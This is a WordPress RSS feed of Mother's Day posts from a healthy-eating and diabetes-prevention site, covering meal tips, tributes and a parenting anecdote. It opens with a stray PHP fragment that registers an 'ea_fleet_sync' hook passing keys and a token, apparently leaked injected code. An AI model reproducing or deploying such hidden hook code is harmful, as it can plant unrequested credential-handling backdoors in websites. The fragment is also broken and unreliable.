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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Mother’s Day – The Skinny Gene Project https://skinnygeneprojectnew.dreamsites.io Tue, 13 May 2014 20:45:42 +0000 en-US hourly 1 https://wordpress.org/?v=7.1 https://skinnygeneprojectnew.dreamsites.io/wp-content/uploads/2023/11/logo-white2-150x150.webp Mother’s Day – The Skinny Gene Project https://skinnygeneprojectnew.dreamsites.io 32 32 Healthy Meals for Moms https://skinnygeneprojectnew.dreamsites.io/healthy-meals-moms/ https://skinnygeneprojectnew.dreamsites.io/healthy-meals-moms/#respond Tue, 13 May 2014 20:45:42 +0000 http://skinnygeneproject.dreamhosters.com/?p=2132 Healthy eating lifestyle woman having salad outdoorsBy Eileen Ferrer, Skinny Gene Nutritionist

It’s time to celebrate Moms.  Though we designate only one day to honor them, they really deserve it every day. In exchange for their dedication to caring for their family, we offer them gifts of gratitude. Whether it is a bountiful bouquet of flowers, a gift certificate to the spa they’ve wanted to go to or even some shiny jewelry, we offer these gifts to show how much they are appreciated.  But gifts do not have to be something tangible or costly or even extravagant.  It can simply be a home-cooked meal for mom for a change.  With the many supermoms in existence, why not make them a deliciously healthy meal?  During those couple hours on Mother’s Day she can relax, and hopefully try not to think about the damage that’s being done to her kitchen.  Most importantly, it really does give time to regenerate.  However, once Mother’s Day comes to an end and there are no more presents to open, nor healthy meals to be eaten, some may forget about eating healthy altogether.  Though, making healthy meals is not impossible.

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Healthy eating lifestyle woman having salad outdoors Healthy eating lifestyle woman having salad outdoors For moms to continue eating healthy, follow these, not only helpful, but healthful tips.

  1. Start with baby steps.  If eating healthy meals is not the norm, start off by finding foods you enjoy and easy recipes to go along with them.
  2. Size matters and moderation is key.  “In moderation” is a commonly used phrase when discussing food consumption.  “Eat these or that foods in moderation”, but what does it mean?  Think of it as portion control and consume foods in smaller portions.  A good tool to help with portion size is MyPlate, which offers a visual to what a plate should look like and what it should contain: vegetables, fruits, lean proteins, whole grains, and dairy.
  3. Consider your eating habits.  Do you eat in front of the TV or inhale a meal because of time?  Eating while watching TV or using a computer can result in mindless eating, sometimes overeating can occur too.  Enjoy a healthy meal at the table and take it slow.  By slowing down, overeating is minimized.
  4. Listen to your body.  Be mindful of how your body feels.  It allows some time for your brain to register that your stomach has had an adequate amount of food (approximately 20 minutes).

Taking the time to eat healthy will fall into place once it becomes second nature. One of the simplest ways to get the most nutrition out of a meal is to eat a rainbow.  Not literally of course, but to eat foods that contain a variety of colors.  Try a few of these examples: bright orange carrots have vitamin A that help with eyesight.  Berries, such as blueberries, raspberries and crisp greens like kale or spinach are super foods that contain phytochemicals that can lower cholesterol levels or decrease risks for various diseases.  So when making a healthy meal, eat a variety of fruits and vegetables. The more colors the better, since a variety of fruits and vegetables offer beneficial vitamins and minerals your body needs. All the components of eating healthy and adding more nutrients into your diet include all the elements needed to building a healthy meal.

Here are 10 easy tips for making healthy meals:

 

  1. Make half your plate fruits and vegetables.  Remember to choose a rainbow to get the different vitamins and minerals various foods offer.
  2. Choose lean proteins, such as lean beef or pork, chicken, turkey, beans or tofu, and at least twice a week choose seafood as a protein of choice.
  3. Eat whole grains.  Look for 100% whole grains or 100% whole wheat, which is high in fiber, and good for your digestive system.
  4. Try some dairy.  Include a cup of fat-free or low-fat milk, yogurt, or low-fat cheese.  Dairy products provide the necessary calcium for bone health.
  5. Avoid extra fat.  Don’t eliminate fat altogether because our bodies need it, but limit the amount of added saturated and trans-fat to meals like butter or margarine.
  6. Take time.  Just a reminder that eating is not a race.  Take time to enjoy the healthy meal you just created and taste the flavors.
  7. Minimize the plate.  Using a smaller plate helps with portion control and prevents overeating.
  8. Staying home.  When you cook your own meal at home in comparison to eating out, you are in control, and who doesn’t like to be in control?  You know exactly how everything is prepared, and what is put into the meal when you make it yourself.
  9. Be adventurous.  Try new foods.  Take one new food a week, and find a simple recipe, and make it your own.
  10. Satisfy your sweet tooth with fruit.  It’s naturally sweet without the extra sugar or fat.  Add some to low-fat yogurt to make a parfait or cut up some of your favorites to make a refreshing fruit salad.

In addition,one of the most important tips I would say in making a healthy meal is to make it a family effort.  By including the entire family, everyone is learning healthy habits, and everyone motivates each other to continue to not only eat but create some pretty awesome healthy meals.   Everyone benefits, and once the family gets the technique down to making healthy meals, they may even take over and start cooking for you — let’s hope!

As previously mentioned, eating healthy is not impossible, but it does take time and thought. Remember the reward of health outweighs the negatives, if there are even any. You are a Supermom, you can do anything!

]]> https://skinnygeneprojectnew.dreamsites.io/healthy-meals-moms/feed/ 0 Happy Mother’s Day!! https://skinnygeneprojectnew.dreamsites.io/happy-mothers-day/ https://skinnygeneprojectnew.dreamsites.io/happy-mothers-day/#respond Sat, 10 May 2014 18:17:57 +0000 http://skinnygeneproject.dreamhosters.com/?p=2128 By Allie Leachman

“Being a full-time mother is one of the highest salaried jobs… since the payment is pure love.” – Mildred B. Vermont

In honor of Mother’s Day, we would like to share this great video with you, which shows why being a mom is the “World’s Toughest Job”.

The men and women participating in this job interview for the “director of operations” were under the impression that it was for a real position, but the “employer” had a different objective in mind. When he described the extreme conditions of the job to those being interviewed, they reacted by saying it was inhumane or questioned if it was even legal. When the “employer” finally revealed that he was describing the job a mom does, it brought tears to many of the men and women’s eyes as they thought about their own moms and all of the wonderful things they have done in their lives.

Ironically the world’s hardest job – a mom – is the one that is least appreciated. The job is 24/7 and 365 days a year. It is all encompassing, and they do not get any breaks and are not paid. Although being a mom is non-stop and consuming of every part of your life, it is described as one of the most rewarding experiences you will ever have in your life. They are rewarded with the love and happiness of their children. To be a mom is to be completely selfless; they place their children’s well-being as their top priority and constantly put their own needs on hold. Moms are our listeners, healers, personal chefs, cheerleaders, and an infinite amount of other things. Personally, I would not be the person I am today without my mom and her unconditional love and continual support.

Even though Mother’s Day is only once a year, moms deserve to be appreciated all year round. They deserve so much more thanks than they get for all that they do and sacrifice for their children. This Mother’s Day I hope all of you that are moms are pampered and showered with love because you deserve that and so much more.

Wishing you all a Happy and Healthy Mother’s Day!!

Your Skinny Gene Family!

]]> https://skinnygeneprojectnew.dreamsites.io/happy-mothers-day/feed/ 0 Why Mother’s Day should be the entire month of May https://skinnygeneprojectnew.dreamsites.io/why-mothers-day-should-be-the-entire-month-of-may/ https://skinnygeneprojectnew.dreamsites.io/why-mothers-day-should-be-the-entire-month-of-may/#respond Tue, 11 May 2010 18:03:42 +0000 http://skinnygene.wordpress.com/?p=270 Ok, I know Mother’s Day has come and gone, but does the praise and appreciation really have to end??

Honestly, I feel like a day of gratitude isn’t enough (especially if Hallmark has coerced someone into it). Afterall,  being a mom can be a 24/7, 365 day, up at 6, down at 9 (if you’re lucky),  no-sick day, vacation day optional, kinda gig.

As CEO of our household, we’re  given the most important and rewarding job, which comes with long-term job security.  We do more things in 24 hrs than some people do in a month. Watch this clip and you’ll see what I mean!!!!

 

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I’ll be the first to admit, I didn’t really understand the importance of Mother’s Day until I started raising my own toddler.

Now when I hear people say things like, “We never know the love of the parent until we become parents ourselves” (which I believe is by Henry Ward Beecher), I actually know what they mean. Then again, I can also related to the “great poop conversations” that seem to take place everywhere I go.

It’s actually kinda funny when you think about it… You know you’ve graduated from college when you receive your diploma, but you know you graduated into motherhood when you are comfortable swapping poop stories. Prior to becoming a mom, when the inevitable poop chat that came up at baby showers, that was the queue to leave the room.

There is no doubt… motherhood is a club, a sorority, a sisterhood all of its own. We rely on each other for advise, encouragement, and reassurance that we aren’t messing up our kids too badly.

During the month of May, let’s remember to praise and show our appreciation to ALL MOTHERS!  An act of kindness, recognition for a job well-done, or maybe a glass of wine at the end of a long day goes a long way.

It may take a village to raise a child, but it takes the support of your “sisters” to make sure it is done correctly!

I want to say THANK YOU to all of our Skinny Gene Mommas, for all that you do!  

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As I said, I think Mother’s Day should be for the entire month of May…..

To say thank you for all you do, we want to honor all of our Mother’s that work so hard to provide their children with a  happy and healthy home. 

1st– For the entire month of May, we are giving you a FREE 12-month membership to our Skinny Gene Online Community. Just Click Here to learn more and accept your gift!

2nd– I think a little comic relief is the best remedy for a hard day. Please join me in sharing some funny stories about motherhood.  Got a funny forward? Read a funny blog? Did your child do something that cracked you up?  Let’s give each other a little laugh!!! Add your stories to the comment section below!!!

To start us off, here’s an email a friend forwarded to me awhile back. ENJOY!!! 

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My little guy, Cade, is quite a talker. He loves to communicate and does it quite well. He talks to people constantly, whether we are in the library, the grocery store or at a drive-thru window. People often comment on how clearly he speaks for a just-turned-3-year-old.

And you never have to ask him to turn up the volume. It’s always fully cranked. There have been several embarrassing times that I’ve wished the meaning of his words would have been masked by a not-so-audible voice, but never have I wished this more than last week at Costco.

Halfway, through our shopping trip, nature called, so I took Cade with me into the restroom. If you’d been one of the ladies in the restroom that evening, this is what you would have heard coming from the second to the last stall:

”Mommy, are you gonna go potty?   Oh! Why are you putting toiwet paper on the potty, Mommy?  Oh! You gonna sit down on da toiwet paper now?  Mommy, what are you doing?  Mommy, are you gonna go stinkies on the potty?”

At this point I started mentally counting how many women had been in the bathroom w hen I walked in. Several stalls were full … 4? 5?  Maybe we could wait until they all left before I had to make my debut out of this stall and reveal my identity.

Cade continued, ”Mommy, you ARE going stinkies aren’t you?   Oh, dats a good girl, Mommy!   Are you gonna get some candy for going stinkies on the potty?  Let me see doze stinkies, Mommy! Oh … Mommy!  I’m trying to see In dere.

Oh! I see dem.  Dat is a very good girl, Mommy.  You are gonna get some candy!”

I heard a few faint chuckles coming from the stalls on either side of me.

Where is a screaming new born when you need her?  Good grief!!  This was really getting embarrassing.  I was definitely waiting a long time before exiting.  Trying to divert him, I said, ”Why don’t you look in Mommy’s purse and see if you can find some candy. We’ll both have some!”

”No, I’m trying to see doze stinkies… Oh! Mommy!”  He started to gag at this point.   ”Uh – oh, Mommy.  I fink I’m gonna frow up. Mommy, doze stinkies are making me frow up!!  Dat is so gross!!”

As the gags became louder, so did the chuckles outside my stall.  I quickly flushed the toilet in hopes of changing the subject.  I began to reason with myself:  Okay… there are four other toilets.  If I count four flushes, I can be reasonably assured that those who overheard this embarrassing monologue will be long gone.

”Mommy! Would you get off the potty, now?  I want you to be done going stinkies!  Get up! Get up!”  He grunted as he tried to pull me off.   

Now I could hear full-blown laughter.  I bent down to count the feet outside my door.

”Oh, are you wooking under dere, Mommy?  You wooking under da door? What were you wooking at?  Mommy?  You wooking at the wady’s feet?”

More laughter…I stood inside the locked door and tried to assess the situation.

”Mommy, it’s time to wash our hands, now.  We have to go out now, Mommy.”  He started pounding on the door. ”Mommy, don’t you want to wash your hands?  I want to go OUT!!”

I saw that my wait ’em out’ plan was unraveling.  I sheepishly opened the door and found standing outside my stall, twenty to thirty ladies crowded around the stall, all smiling and starting to applaud. 

My first thought was complete embarrassment, then I thought, where’s the fine print on the ‘motherhood contract’ where I signed away every bit of my dignity and privacy?

But as my little boy gave me a big, cheeky grin while he rubbed bubbly soap between his chubby little hands, I thought, I’d sign it all away again, just to be known as Mommy to this little fellow.

]]> https://skinnygeneprojectnew.dreamsites.io/why-mothers-day-should-be-the-entire-month-of-may/feed/ 0 Through A Mother’s Eyes https://skinnygeneprojectnew.dreamsites.io/through-a-mothers-eyes/ https://skinnygeneprojectnew.dreamsites.io/through-a-mothers-eyes/#respond Sat, 08 May 2010 20:35:39 +0000 http://skinnygene.wordpress.com/?p=284 Every Mother’s Day seems to bring with it a little more perspective.  

As a mother of a fun and feisty 3-yr old daughter (named Nyiah), I might even venture to say that my perspective on motherhood changes daily.  What my child learns from me, what I learn from my child, what I learn from others- it’s like a constant graduation through life.  

During the last 30 days, I have had the opportunity to experience multiple aspects of motherhood from other mothers’ eyes.  I found that when a mother protects, inspires, and honors her children, she also impacts everyone around her.

Protect– On April 14th, we launched a 12-month Skinny Gene Diabetes Prevention Program in San Antonio, TX.  We have the honor and privilege of working with these beautiful mothers over the next year. Each woman has a strong commitment to family (and community) and the determination to give her kids a chance to live a healthy, diabetes-free life. (Read More)

Inspire– In the last 30 days I also found Mary (Fit Factor Kids) who is fighting childhood obesity and inspiring children to take the steps towards living an active life. In addition to her kids fitness videos, she launched a walking challenge, “Walk the Tworld” (T stands for Twitter) to encourage families to walk 100 million step in the month of May.  I thought this was awesome, so I wanted to help… (Read More)

Love and Honor: Last month, I took the opportunity to walk in the San Diego March of Babies, in honor of Henry- a precious little boy who knew his mother’s love, although he was never given the chance to see her face.  

With Team Henry walking in Chicago, I thought I’d arrive in San Diego’s Balboa Park and be the sole representative for Team Henry. Boy was I wrong! The thousands of participants weren’t just walking in honor of their “miracles” and “angels”,  but for all babies and children- even our beloved Henry.

As I walked, I was reminded of a few important things that day:  

No matter what the situation is…when you have support, you are never alone.

AND  

There is no strength like the strength of a mother, and there is no love like a mother’s love.

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